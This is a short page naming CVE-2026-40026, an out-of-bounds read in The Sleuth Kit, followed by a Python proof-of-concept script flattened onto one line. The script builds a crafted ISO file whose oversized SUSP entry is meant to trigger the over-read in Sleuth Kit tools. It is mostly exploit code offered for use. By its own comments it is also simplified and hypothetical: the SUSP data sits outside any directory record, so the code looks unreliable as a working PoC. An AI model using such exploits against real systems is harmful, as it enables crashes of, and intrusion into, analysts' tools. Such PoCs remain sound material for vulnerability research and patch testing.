CVE-2026-40026 The Sleuth Kit越界读取漏洞

import struct import os # PoC to generate a malicious ISO image triggering OOB read in Sleuth Kit # This script creates a minimal ISO structure with a malformed SUSP entry. def generate_malicious_iso(filename): with open(filename, 'wb') as f: # Write a dummy Primary Volume Descriptor (simplified) # Standard ISO header logic would go here, focusing on SUSP part # SUSP (System Use Sharing Protocol) signature # 'ER' (Extension Record) or 'SP' (Suspension Indicator) or custom # We craft a SUSP entry with invalid length to trigger OOB read # SUSP Header: Signature (2 bytes), Length (2 bytes) # Let's use a hypothetical signature 'XX' and a large length signature = b'XX' # Length of the SUSP entry. If this is larger than available data, memcpy reads OOB. # len_id, len_des, len_src are derived from this structure in some implementations. malicious_length = 0xFFFF # Large value to trigger OOB read susP_entry = struct.pack('>2sH', signature, malicious_length) # Padding to simulate minimal ISO structure f.write(b'\x00' * 0x8000) # System Area f.write(b'\x01' + b'CD001' + b'\x00' + b'\x00' * 2041) # PVD (simplified) # Inject the malformed SUSP data into a Directory Record or similar location # where Sleuth Kit's parse_susp() would be invoked. f.write(susP_entry) f.write(b'\x00' * 2048) if __name__ == "__main__": print("Generating malicious ISO file: poc_cve_2026_40026.iso") generate_malicious_iso("poc_cve_2026_40026.iso") print("Done. Analyze this file with The Sleuth Kit (tsk_recover, fls, etc.).")